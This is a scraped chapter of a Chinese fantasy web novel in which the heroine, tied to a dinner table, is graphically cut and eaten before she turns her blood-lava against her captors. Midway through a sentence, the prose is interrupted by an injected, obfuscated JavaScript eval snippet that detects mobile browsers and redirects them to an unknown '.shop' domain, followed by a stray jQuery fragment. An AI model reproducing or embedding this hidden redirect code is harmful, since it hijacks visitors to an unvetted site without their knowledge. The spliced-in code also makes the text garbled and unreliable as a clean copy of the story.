116. 迷人的晚餐(六)

作品:《我燃烧的理由

    银匙、火腿、面包……各式的食物纷纷从初月脸上扫过,也有人另辟蹊径,在初月身上新开伤口畅饮的。


    这些她毫不在乎,也无暇去抗争。


    午夜沥青的寒意透过灯泡直达她脑髓,冻结住了她体内愤怒的火焰。


    无论她怎样用意念控制,血岩浆都不再有能力喷涌出来了,它们很难再伤人了。


    它们此刻更像是未尽的小溪,一点一点地顺着伤口流淌。


    顺着她赤裸的身体边缘,在餐桌上描摹出另一个赤裸的她。


    这是她应得的吗?初月无力去恨每一个吃她的人。


    只是对于秋鸿,她有太多的遗憾。


    她不后悔对秋鸿的报复——在引诱他上床之后弃之如敝履,利用他解毒之后冷淡抽身。


    毕竟,秋鸿也玩弄她的性致,为他10230里的爱人换取了富裕的存活时间。


    初月只是遗憾,遗憾自己太早地暴露了对秋鸿“用完就扔”的态度。


    若是她能把缱绻的爱意演得再长久一点,说不定现在,秋鸿还能为了她去搏一条生路。


    她不该在还未完全脱身之前,就斩断了自己的退路的。


    如果说这一趟地下世界之旅,初月学到了什么,那么,“永远给自己留后路”,便是她得到教训最深刻的一课。


    初月环视众人,围桌的七人,一个个吃的血粘满嘴,馋涎四流。


    她已经感觉不到痛了,一个接一个丁零当啷的餐具在她伤口上划过、深挖、开垦。


    那三朵山茶花早已不知去向。


    初月躺在餐桌上,此时的她,真的与一盘菜毫无不同。


    她茫然的视线艰难腾挪在众人的脸上,已被午夜沥青冰得运转不畅的脑子,依旧在不断思索着应对之法。


    有什么办法,能在她身体动弹不得的前提下,一一击退众人呢?


    已变得迟钝的初月怎么也想不出。


    她想过,既然烧不断这麻绳,那就干脆背负起餐桌,站起来和他们拼过你死我活。


    可是,餐桌重如磐石,且她脚不及长桌边缘,就算是勉强立起,也免不了一瞬间轰然倒塌,那时,她整个人将被翻过来的长桌压住,成为肉泥是他唯一的结局。


    她不是没想过她的朋友,可是一个地上一个地下,大地相隔,谁也没法儿来助她一臂之力。


    还有他的老朋友断臂,以及新朋友暮墙。


    它们确实受她驱使,可是一个不知所踪,另一个守着蚁山,保护着更重要的人。


    初月不能弃小棠的性命于不顾,妄自将暮墙召唤过来救她于水火。


    “咳——”


    一声轻咳从秋鸿的嗓子眼传来,初月移目过去,只见他手指扶着喉结,一双眼睛静静地凝视着她,接着长睫忽颤,秋鸿缓缓地闭上了双眼,面孔还是对着初月的方向。


    “我们美食品鉴家这是怎么了——吃困了?”


    高松华放下银匙,浑厚的嗓音绵长有力。


    显然,那是他吃了初月的血岩浆这至纯的情绪值之后,散发出来的无穷之力。


    好了,初月的心又凉了一截,此刻就算是她长鞭在手,摆脱了这麻绳的束缚,怕是也难敌得过如今的高松华了。


    一个吃,一个被吃。


    以己之能量,补彼之气势。


    可以说,一部分的“初月”被俘获,成了敌方的中坚力量了。


    秋鸿仿佛神游在外,这时突然被惊醒一般回过神来,回答说:“啊,没有,高统领准备的晚宴太丰盛,酒足饭饱后,我只是突然有点走神。哈哈,意识出走了。”


    “哈哈哈哈哈……”


    高松华一抹嘴,被哄得十分开心:“哈哈哈哈哈……也多亏了你,及时解了她的毒,我们的晚宴才能如此美味。要不然,混着午夜沥青的血岩浆,也就只有我一人能享受它的美味了。”


    “是,”王瑾奉承,“要说这世界上,也只有高统领能驾驭午夜沥青了,换做别人,只有被吓破胆的份儿……”


    秦泛双肘撑在餐桌上,那只独眼依旧美丽,扑闪着又泛起了好奇的光芒,她这个年纪,正是三句话不离黄色玩笑的时候。


    只听见她说:“话说,咱们这一桌人,只有你秋鸿最会吃,初月里里外外都被你吃透了,也不知爽不爽?”


    “嗯?问你呢。”秦泛掐着初月的手腕皮肉,细细地拧,“是他上次吃你爽,还是这次爽?嗯?说话。”


    初月不理她,只是眼神空洞地望着秋鸿,她双眉紧蹙,神游在外。


    秦泛见她不理,自己好没面子,于是起身绕到初月脸旁,手指敲打在灯泡螺口上,装作循循善诱的样子逗她玩乐。


    “初月,我问你话你听见没有,你可以点头或摇头,我要是高兴了,可以帮你把灯泡拿出来,让你的好秋鸿再亲亲你……”


    回应她的是长久呆滞的沉默。


    “切!无聊!真没劲!酒足饭饱了,想逗逗人玩儿都没人理。”


    秦泛扭头就走,身后跟着高、王这两个哄孩子的大人。


    初月的眼睑,倏尔眨了一下。


    她挪动几乎快要被掏空的身体,转动手腕脚腕,黏腻不爽的血岩浆夹在身体和餐桌之间,随着她的动作“吧唧吧唧”的响。


    好像……有些空了……


    初月感受着麻绳和手腕之间的空隙,还有餐桌上那隐隐凹下去的痕迹。


    她找到了一条活路。


    阻火麻绳是烧不断的,这点她无计可施。


    但是这餐桌,可不是什么百毒不侵的东西。


    初月的血岩浆虽说被午夜沥青的苦寒封印了,但,那只是不能喷薄而出而已,初月浑身上下大大小小的新旧伤口,都在慢慢向外渗出岩浆血液。


    在杯盘狼藉的长桌之上,早已分辨不出桌布原本的颜色,更别说那已被烘干枯萎的山茶花了。


    初月再次看向呆坐一旁的秋鸿。


    此刻餐桌上只剩下他一人。


    秦泛赌气离桌离去,高松华和王瑾跟在她身后一唱一和地哄孩子,而谢寄梦、凌晓,还有何黎黎,也纷纷起身,跟在高、王这两个拥有绝对统治力量的人身后,亦步亦趋地候着。


    秋鸿没有起身。


    初月抬眼瞧他,她虽躺着,可眼里的审视意味很浓,她读懂了秋鸿方才的暗示。


    只是,她不懂秋鸿为何要帮她。


    “闭眼”、“走神”、“意识出走”……


    哪一个都几乎是直接将那条生路给初月点明了。


    秋鸿是在群狼环伺之间,向初月告知杀死敌人的方法——意识出走。


    而就在之前不久,秋鸿还是那个率先吞食初月血岩浆的人。


    在他的带领及推波助澜下,桌上七人,无一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807431|176095||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不食用了大量的血岩浆。


    而这血岩浆,游走于敌人的体内,只需初月稍稍牵动意识,像命令断臂那样,对分散的血岩浆发号施令。


    无数个微小但威力巨大的爆炸将在众人体内爆发。


    可是,秋鸿也是这身受威胁的一员。


    他不害怕吗?他明知初月因恨他欺骗感情,余怒未消,他难道不害怕初月意念一动,直接炸爆他的主动脉吗?


    毕竟,来自昔日友军的背叛,比其他人更伤人心。


    他不恨吗?初月对他的戏弄,就在昨天,她睡了他,弃了他,言语羞辱了他,也几乎快要勒死了他。


    难道在这样的境地下,秋鸿仍然觉得,初月会放他一命吗?


    就凭他给初月的暗示,就能抵消掉一切吗?


    过往种种在初月的大脑里回溯,千丝万缕,纠缠不清。


    “唉……”


    初月叹息一声,斩断没用的同理心,闭眼屏息,将意识送出体外。


    视角旋转上升,直达水晶灯的高度。


    初月眉头紧锁,视角再次飞升,触碰到天花板的位置,于是,整个奢华的大厅尽收眼底。


    一体成型的琉璃墙壁与地板,其上缠绕覆盖着一层半透明的丝线,其中接近半数,内里流淌着墨黑色的液体。


    金碧辉煌的厚重琉璃门板半开着,透过门缝,初月看见外面荒凉一片,枯草一般的丝线向室内攀附着,似乎只要伸进了大厅,就能获得重生的希望。


    大厅的另一边,浮雕壁画密密麻麻堆叠,像福寿螺寄生一样令人恶寒。


    秦泛正朝着那面壁画墙走去,身后跟着一串人。


    大厅正中央的琉璃长桌上,一个光秃秃的人形器皿平放在餐桌上,一个接一个碗口大的红色深坑错落分布在其上。


    纹丝不动的人形“器皿”有如被洗劫一空,直挺挺地躺着,鲜艳的汤汁洒了满桌满地。


    桌边坐着的唯一一个人,静静地擦拭着人形“器皿”上的残羹冷炙。


    布料和皮肤之间的摩擦音在初月耳边放大,而大厅另一边也传来空荡荡的回音。


    在高、王二人与秦泛来回置气斗嘴的时候,谢寄梦见缝插针地问:“统领,吃剩下的怎么处理?”


    高松华头也不回,理所当然地答:“当然是好好伺候着,等她血肉长全了、恢复了,再次宴请大家啦!”


    “统领康慨!大义!”


    “统领简直太宠我们了!”


    这时,秋鸿伏在初月耳边说:“你听到了吗?”


    初月听到了,她替代梦境的情绪能量,成了地下世界源源不断的新能量源头了。


    高松华这是要把地下世界的根,扎在初月的血肉里啊!


    突然间,墙上的浮雕块松动,它们比众人先一步察觉到了气流的窜动。


    高松华突然间双手掐脖,一张脸瞬间由白转红、由红转青。


    初月的意识出走后,一念之间,便将高松华体内的几团血岩浆汇聚到了他的气管内,截断了他喘息的通道。


    紧接着,又一团血岩浆听从号令,驻扎在高松华胃壁上,“砰”的一声微小的爆炸声,未消化殆尽的食物像压缩包一样炸开,瞬间填满了他的内脏缝隙。


    “啊唔——”


    一口鲜血喷薄而出,挂在高松华的嘴边,宣告这场不见刀刃的斗争已经开始了。